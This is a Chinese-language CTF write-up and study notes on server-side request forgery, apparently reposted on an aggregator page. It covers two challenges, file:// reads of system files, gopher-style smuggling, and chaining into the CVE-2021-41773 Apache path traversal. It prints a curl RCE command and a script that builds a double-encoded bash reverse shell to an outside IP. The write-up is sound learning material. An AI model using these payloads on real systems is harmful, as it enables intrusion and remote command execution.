SSRF学习，刷题

[HNCTF 2022 WEEK2]ez_ssrf

 给了一个Apache2的界面，翻译一下

 就是一个默认的界面,目录扫描

可以看到flag.php,肯定是不能直接访问得到的，还有index.php，访问这个

 可以看到三个参数data,host,port

还有fsockopen() 函数是 PHP 中用于打开一个网络连接的一种方法。它允许我们通过 TCP/IP 协议与远程服务器通信，发送请求并获取响应。

fsockopen() 函数建立与指定主机和端口的 socket 连接。然后，它将传入的 base64 编码的数据解码，并将数据写入到连接的 socket 中。

可以想到ssrf，该题就是对ssrf漏洞的引入。

构造

<?php
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Close\r\n\r\n";
echo base64_encode($out);
?>

输出：R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

host=127.0.0.1,port=80

所以构造：?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

得到flag

SSRF  

服务器请求伪造，是一种由攻击者形成服务器端发起的安全漏洞，本质上属于信息泄露漏洞。

攻击的目标：从外网无法访问的内部系统

形成的原因：大部分是由于服务端提供了从其他服务器应用获取数据的功能，且没有对目标地址做过滤与限制。

比如：从指定url地址获取网页文本内容

加载指定地址的图片，下载

百度识图，给出一串URL就能识别出图片

攻击方式：

SSRF漏洞利用:通过服务器A(SSRF服务器)访问A所在内网的其他服务器获取信息，进而利用SSRF实现其他漏洞利用。 

利用file协议读取本地文件；

对服务器所在内网、本地进行端口扫描，获取一些服务的banner信息；

攻击运行在内网或本地的应用程序；

 对内网web应用进行指纹识别，识别企业内部的资产信息；

攻击内外网的web应用，主要是使用HTTP GET请求就可以实现的攻击；

本题就是我自己是不能够去访问flag.php页面的，通过利用SSRF漏洞，依靠可以访问的index.php页面，创建了一个本地的服务器，以此用来访问flag.php页面。

file伪协议：从文件系统中获取文件内容

（查找内网主机存活IP）

fie:// 从文件系统中获取文件内容，格式为 file://[文件路径]

file:///etc/passwd  读取文件passwd

file:///etc/hosts 显示当前操作系统网卡的IP

file:///proc/net/arp  显示arp缓存表，寻找内网其他主机。

file:///proc/net/fib trie  显示当前网段路由信息

Dict伪协议：字典服务协议，访问字典资源

（查找内网主机开放端口）

 HTTP伪协议

（目录扫描）ctf中经常用于文件包含

Gopher伪协议

利用范围较广：【GET提交】【POST提交】【redis】【Fastcgi】【sql】

基本格式：URL:gopher://<host>:<port>/<gopher-path>

gopher伪协议默认端口是70端口，注意改端口为80端口（web默认端口）

gopher请求不转发第一个字符，需要加_用来填充(使用下划线填充首位)

练习

[NSSCTF 2nd]MyBox

给了url参数，file伪协议读取目标参数。

构造：?url=file:///etc/passwd

 成功读到配置信息，但是没有什么用，只能够确定可能存在SSRF漏洞

构造：

?url=file:///proc/self/cmdline

/proc/self/cmdline 虚拟文件系统中的一部分。 这个文件包含当前进程的命令行。 通过读取这个文件，你可以获取启动当前进程时使用的命令行参数。

查看是什么环境

 可以看到是python环境，而且有/app/app.py文件

file伪协议读取。

构造：

?url=file:///app/app.py

 分析源代码

from flask import Flask, request, redirect
import requests, socket, struct
from urllib import parse
app = Flask(__name__)

@app.route('/')
def index():
    if not request.args.get('url'):
        return redirect('/?url=dosth')
    url = request.args.get('url')
    if url.startswith('file://'):
        with open(url[7:], 'r') as f:
            return f.read()
    elif url.startswith('http://localhost/'):
        return requests.get(url).text
    elif url.startswith('mybox://127.0.0.1:'):
        port, content = url[18:].split('/_', maxsplit=1)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect(('127.0.0.1', int(port)))
        s.send(parse.unquote(content).encode())
        res = b''
        while 1:
            data = s.recv(1024)
            if data:
                res += data
            else:
                break
        return res
    return ''

app.run('0.0.0.0', 827)

 它可以处理三种类型的 URL：

file:/// 开头的 URL，表示从本地文件系统中读取文件的内容。

http://localhost/ 开头的 URL，表示将请求转发到本地的 HTTP 服务器。

mybox://127.0.0.1: 开头的 URL，表示将请求发送到本地的 TCP 服务器。

当用户访问 / 路由时，如果没有提供 url 参数，服务器将重定向到 /?url=dosth。否则，服务器将根据 URL 的类型进行处理。

在处理 mybox:// 开头的 URL 时，服务器会创建一个 TCP 连接到指定的端口，并将请求数据发送过去，然后将响应数据返回给客户端。

这里的mybox的方式看着很像gopher

使用该mybox提交一个请求包进行测试

师傅们的小脚本，也可以用手写，但是不如脚本，容易出错

import urllib.parse
test =\
"""GET /xxx.php HTTP/1.1
Host: 127.0.0.1:80

"""
#注意后面一定要有回车，回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result1 = 'gopher://127.0.0.1:80/'+'_'+urllib.parse.quote(new)
result2 = result1.replace('gopher','mybox')
print(result2)

运行结果：

mybox://127.0.0.1:80/_GET%2520/xxx.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250A%250D%250A

对该脚本的分析：

test =\
"""GET /xxx.php HTTP/1.1
Host: 127.0.0.1:80

"""
#注意后面一定要有回车，回车结尾表示http请求结束

 xxx.php页面请求的内容，后面的回车，也就是加个换行符是由于在请求里面都这样，可以打开bp看一下，内容都是在下一行。

传参看一下

它是一定访问不到我们的xxx.php页面的，但是由于mybox的原因，它返回了我们的请求信息，包含了该服务器的配置信息，看到Apache/2.4.49

存在路径穿越漏洞（CVE-2021-41773）

Apache HTTP Server 2.4.49 ~ 2.4.50

Apache HTTP Server 存在路径遍历漏洞，该漏洞源于发现 Apache HTTP Server 2.4.50 版本中对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护，则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本，则可以允许远程代码执行。

尝试执行指令

GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash

echo;id

/cgi-bin/ 是一个常见的目录，它通常用于存放可以通过网络服务器执行的脚本。CGI（通用网关接口）是一种技术，允许在服务器上运行脚本来生成动态内容。当客户端请求一个CGI脚本时，服务器将执行该脚本并返回结果给客户端。

在给出的示例中，/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash 是一个路径，以反斜杠分隔不同的目录。%2e 是URL编码中表示"…/"的方式，代表上一级目录。因此，该路径尝试在服务器上执行 /bin/bash 这个脚本文件，会返回bash的交互式命令行界面。
                       

curl示例：

curl -v --data "echo;id" 'http://172.17.0.3/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

修改刚才的代码，进行POST传参

import urllib.parse
test =\
"""POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length:59

bash -c 'bash -i >& /dev/tcp/自己的IP/监听的端口 0>&1'
"""
#注意后面一定要有回车，回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result1 = 'gopher://127.0.0.1:80/'+'_'+urllib.parse.quote(new)
result2 = result1.replace('gopher','mybox')
print(result2)

得到：

mybox://127.0.0.1:80/_POST%2520/cgi-bin/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/bin/sh%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A60%250D%250A%250D%250Aecho%253Bbash%2520-c%2520%2527bash%2520-i%2520%253E%2526%2520/dev/tcp/192.168.217.138/8888%25200%253E%25261%2527%250D%250A

传参，nc -lvp 端口号，进行监听，得到flag。（但我自己的反弹shell没有成功）

 

这里进行两次url编码是我们每发一个请求到服务器端时，服务器会给我们进行一次URL解码，我们利用的SSRF漏洞是先向SSRF服务器发送请求，它对我们的请求进行一次URL解码后才会发到目标服务器，目标服务器再进行一次URL解码才会接受到我们想发给它的请求，所以进行两次URL编码。

还有一种非预期解：

访问环境变量：   

?url=file:///proc/1/environ

 

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mfbz.cn/a/727410.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

代码随想录训练营Day 64|卡码网98. 所有可达路径（深搜）

代码随想录训练营Day 64|卡码网98. 所有可达路径（深搜）

1.所有可达路径 98. 所有可达路径 | 代码随想录 代码&#xff1a; &#xff08;深搜&#xff09;邻接矩阵表示 #include <iostream> #include <vector> using namespace std; vector<int> path; vector<vector<int>> result; void dfs(const ve…
阅读更多...
LeetCode 算法：两两交换链表中的节点 c++

LeetCode 算法：两两交换链表中的节点 c++

原题链接&#x1f517;&#xff1a;两两交换链表中的节点 难度&#xff1a;中等⭐️⭐️ 题目 给你一个链表&#xff0c;两两交换其中相邻的节点&#xff0c;并返回交换后链表的头节点。你必须在不修改节点内部的值的情况下完成本题&#xff08;即&#xff0c;只能进行节点交…
阅读更多...
QT中利用动画弄一个侧边栏窗口，以及贴条效果

QT中利用动画弄一个侧边栏窗口，以及贴条效果

1、效果 2、关键代码 void Widget::on_sliderBtn_clicked() {m_sliderWidget->show();QPropertyAnimation* animation = new QPropertyAnimation(m
阅读更多...
政策更新记录：敏感信息访问权限与API使用变更

政策更新记录：敏感信息访问权限与API使用变更

我们将更新“健康数据共享”政策，简化“健康数据共享”申请流程，并与“健康类应用”政策保持一致。此外，我们将于今年晚些时候在 Play 管理中心推出一项新的声明，取代当前使用表单进行申请的方式。 公布日期：2024-04-03 Health Connect 政策要求及常见问题解答 初步认识对…
阅读更多...
[AIGC] 使用Google的Guava库中的Lists工具类：常见用法详解

[AIGC] 使用Google的Guava库中的Lists工具类：常见用法详解

在Java程序设计中&#xff0c;集合是我们最常用的数据结构之一。为了方便我们操作集合&#xff0c;Google的Guava库提供了一个名为Lists的工具类&#xff0c;它封装了许多用于操作List对象的实用方法。在本文中&#xff0c;我们将详细介绍其常见的用法&#xff0c;以帮助您更好…
阅读更多...
volatile关键字（juc编程）

volatile关键字（juc编程）

volatile关键字 3.1 看程序说结果 分析如下程序&#xff0c;说出在控制台的输出结果。 Thread的子类 public class VolatileThread extends Thread {// 定义成员变量private boolean flag false ;public boolean isFlag() { return flag;}Overridepublic void run() {// 线…
阅读更多...
钡铼BL101网关助力智慧城市路灯远程智能管控

钡铼BL101网关助力智慧城市路灯远程智能管控

在迈向智慧城市的征途中&#xff0c;基础设施的智能化改造是关键一环&#xff0c;而路灯作为城市脉络的照明灯塔&#xff0c;其智能化升级对于节能减排、提升城市管理效率具有重要意义。钡铼BL101网关&#xff0c;作为Modbus转MQTT的专业桥梁&#xff0c;正以其卓越的性能和广泛…
阅读更多...
数据仓库与数据库的区别

数据仓库与数据库的区别

在数据管理和分析的过程中&#xff0c;我们常常会听到“数据库”和“数据仓库”这两个术语。 虽然它们看起来相似&#xff0c;但实际上它们在设计目的、结构和使用场景上都有显著的区别。 数据库是什么&#xff1f; 数据库&#xff08;Database&#xff09;是一个用于存储和管…
阅读更多...
[创业之路-120] ：全程图解：软件研发人员如何从企业的顶层看软件产品研发？

[创业之路-120] ：全程图解：软件研发人员如何从企业的顶层看软件产品研发？

目录 一、企业全局 二、供应链 三、团队管理 四、研发流程IPD 五、软件开发流程 六、项目管理 七、研发管理者的自我修炼 一、企业全局 二、供应链 三、团队管理 四、研发流程IPD 五、软件开发流程 六、项目管理 七、研发管理者的自我修炼
阅读更多...
时空预测 | 基于深度学习的碳排放时空预测模型

时空预测 | 基于深度学习的碳排放时空预测模型

时空预测 模型描述 数据收集和准备&#xff1a;收集与碳排放相关的数据&#xff0c;包括历史碳排放数据、气象数据、人口密度数据等。确保数据的质量和完整性&#xff0c;并进行必要的数据清洗和预处理。 特征工程&#xff1a;根据问题的需求和领域知识&#xff0c;对数据进行…
阅读更多...
【C++】基础知识--inline(内联)关键字以及与宏的区别

【C++】基础知识--inline(内联)关键字以及与宏的区别

c语言中的小小白-CSDN博客c语言中的小小白关注算法,c,c语言,贪心算法,链表,mysql,动态规划,后端,线性回归,数据结构,排序算法领域.https://blog.csdn.net/bhbcdxb123?spm1001.2014.3001.5343 给大家分享一句我很喜欢我话&#xff1a; 知不足而奋进&#xff0c;望远山而前行&am…
阅读更多...
Nginx Rewrite技术

Nginx Rewrite技术

一&#xff1a;理解地址重写 与 地址转发的含义。二&#xff1a;理解 Rewrite指令 使用三&#xff1a;理解if指令四&#xff1a;理解防盗链及nginx配置 简介&#xff1a;Rewrite是Nginx服务器提供的一个重要的功能&#xff0c;它可以实现URL重定向功能。 一&#xff1a;理解地…
阅读更多...
医学图像预处理之z分数归一化

医学图像预处理之z分数归一化

在医学图像处理中&#xff0c;Z分数标准化&#xff08;Z-score normalization&#xff09;是一种常用的数据标准化方法&#xff0c;其目的是将数据集中的每个图像像素值转换为具有均值为0和标准差为1的标准化值。这种标准化方法有助于改善图像的质量&#xff0c;便于后续图像处…
阅读更多...
RS485中继器的作用你还不知道?

RS485中继器的作用你还不知道?

RS485是一种串行通信协议&#xff0c;支持设备间长距离通信。RS485中继器则像“传声筒”&#xff0c;能放大衰减信号&#xff0c;延长通信距离&#xff0c;隔离噪声&#xff0c;扩展分支。在实际场景中&#xff0c;如工厂内&#xff0c;通过中继器可确保控制室与远距离机器间通…
阅读更多...
嵌入式Linux 中常见外设屏接口分析

嵌入式Linux 中常见外设屏接口分析

今天将梳理下嵌入式外设屏幕接口相关的介绍，对于一个嵌入式驱动开发工程师，对屏幕都可能接触到一些相关的的调试，这里首先把基础相关的知识梳理。 1. 引言 在嵌入式开发过程中，使用到的液晶屏有非常多的种类，根据不同技术和特性分类，会接触到TN液晶屏，TN液晶屏 VA液晶屏…
阅读更多...
Java基础16（集合框架 List ArrayList容器类 ArrayList底层源码解析及扩容机制）

Java基础16（集合框架 List ArrayList容器类 ArrayList底层源码解析及扩容机制）

目录 一、什么是集合&#xff1f; 二、集合接口 三、List集合 四、ArrayList容器类 1. 常用方法 1.1 增加 1.2 查找 int size() E get(int index) int indexOf(Object c) boolean contains(Object c) boolean isEmpty() List SubList(int fromindex,int …
阅读更多...
H3C防火墙抓包(图形化)

H3C防火墙抓包(图形化)

一.报文捕获 &#xff0c;然后通过wireshark查看报文 二.报文示踪 &#xff0c; 输入源目等信息&#xff0c; 查看报文的详情
阅读更多...
鸿蒙Harmony实战—通过登录Demo了解ArkTS

鸿蒙Harmony实战—通过登录Demo了解ArkTS

ArkTS是HarmonyOS优选的主力应用开发语言。ArkTS围绕应用开发在TypeScript&#xff08;简称TS&#xff09;生态基础上做了进一步扩展&#xff0c;继承了TS的所有特性&#xff0c;是TS的超集。 ArkTS在TS的基础上主要扩展了如下能力&#xff1a; 基本语法&#xff1a;ArkTS定义…
阅读更多...
今天碰到一个gitee的严重问题

今天碰到一个gitee的严重问题

今天碰到一个gitee的严重问题 今天访问gitee的官网&#xff0c;无法访问… 代码无法提交 接下来 接下来 gitee的客服给我说 不知道哪天会不会代码直接没了 不知道哪天会不会代码直接没了
阅读更多...
大模型应用场景在哪？探索人工智能的无限可能

大模型应用场景在哪？探索人工智能的无限可能

随着人工智能技术的飞速发展&#xff0c;大模型在自然语言处理、计算机视觉、推荐系统等领域取得了显著成果。这些大模型&#xff0c;如OpenAI的GPT-3、谷歌的BERT、百度的ERNIE等&#xff0c;不仅在学术界引起了巨大反响&#xff0c;也在产业界得到了广泛应用。本文将以大模型…
阅读更多...
最新文章

Copyright @ 2022~2023

友情链接： 我的编程经验分享 一条长河网 尧图网站开发 尧图建网站